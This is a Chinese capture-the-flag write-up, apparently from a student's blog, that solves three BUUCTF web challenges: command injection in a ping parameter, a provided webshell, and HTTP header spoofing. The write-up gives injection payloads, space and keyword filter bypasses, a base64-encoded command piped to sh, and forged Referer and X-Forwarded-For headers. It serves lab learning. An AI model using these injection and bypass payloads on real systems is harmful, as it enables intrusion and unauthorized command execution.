BUUCTF - web - PingPingPing+Knife+Http

文章目录

前言

已经坚持了半个月了,有十多天一直在写杂项,直到学长委婉地告诉我杂项没啥技术性,就流量分析有点用,建议我学pwn,所以这几天我开始做web了
我会一直坚持下去
加油!

PingPingPing

分析

BUUCTF - web - PingPingPing+Knife+Http

想到昨天做了一个ping加Linux命令,今天这个也可以试试
?ip=127.0.0.1|ls
BUUCTF - web - PingPingPing+Knife+Http

尝试拿flag?ip=127.0.0.1|cat flag.php
BUUCTF - web - PingPingPing+Knife+Http

看来空格被禁了,尝试绕过
BUUCTF - web - PingPingPing+Knife+Http

换个绕过方法,这里选择先拿index.php?ip=127.0.0.1|cat$IFS$9index.php
BUUCTF - web - PingPingPing+Knife+Http

有了,但正则不全,应该可以查看源码
BUUCTF - web - PingPingPing+Knife+Http

可以看到绕过了各种符号、空格、bash和flag,而且flag是顺序匹配

构造payload

内联执行:反引号在linux中作为内联执行,执行输出结果

?ip=127.0.0.1|cat$IFS$9`ls`

如此会catls的结果
BUUCTF - web - PingPingPing+Knife+Http

的确用这种方法拿到index.php了,但不见flag,应该藏到源码里了
BUUCTF - web - PingPingPing+Knife+Http

得到flag{8c34c264-96a1-42c7-b5cf-7af02fd8a862}

其他方法

既然是绕过,就有多种绕过方法
上面提到需要绕过空格,我用了两种绕过方法,以下是绕过空格的整理:

{cat,flag.txt} 
cat$IFS$9flag.txt
cat${IFS}flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
//\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过

回到这个题
看源码得知顺序匹配了flag,那也可以交换flag四个字母的顺序
b=ag.php;a=fl;cat$IFS$9$a$b

还有一种方式可以绕过flag匹配,那就是编码
cat flag.phpbase64加密
原命令为:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
用空格绕过法填充空格
echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
总之方法很多,平时练题要多思考,感觉哪个题有意思可以做完后去找找别人写的WP,说不定有新收获

白给的shell

很无聊的一道题
BUUCTF - web - PingPingPing+Knife+Http

帮他找菜刀
BUUCTF - web - PingPingPing+Knife+Http

打开根目录拿到白给的flag
BUUCTF - web - PingPingPing+Knife+Http

得到flag{f663edb8-d17f-4f6a-8845-dfa6ae0ca44a}

Http

BUUCTF - web - PingPingPing+Knife+Http

一看到这就知道是套路,直接看源码
BUUCTF - web - PingPingPing+Knife+Http
BUUCTF - web - PingPingPing+Knife+Http

Repeater

It doesn't come from 'https://Sycsecret.buuoj.cn',那就把referer改成https://Sycsecret.buuoj.cn
BUUCTF - web - PingPingPing+Knife+Http

Please use "Syclover" browser,那就把User-Agent改成Syclover
BUUCTF - web - PingPingPing+Knife+Http

No!!! you can only read this locally!!!,那就添加X-Forwarded-For: 127.0.0.1
BUUCTF - web - PingPingPing+Knife+Http

得到flag{33445841-508a-4a08-872b-52f013612cee}
一道比较基础的web题,可以请教一下烨神的博客

上一篇:C++ 文件操作


下一篇:墨者学院-命令注入执行分析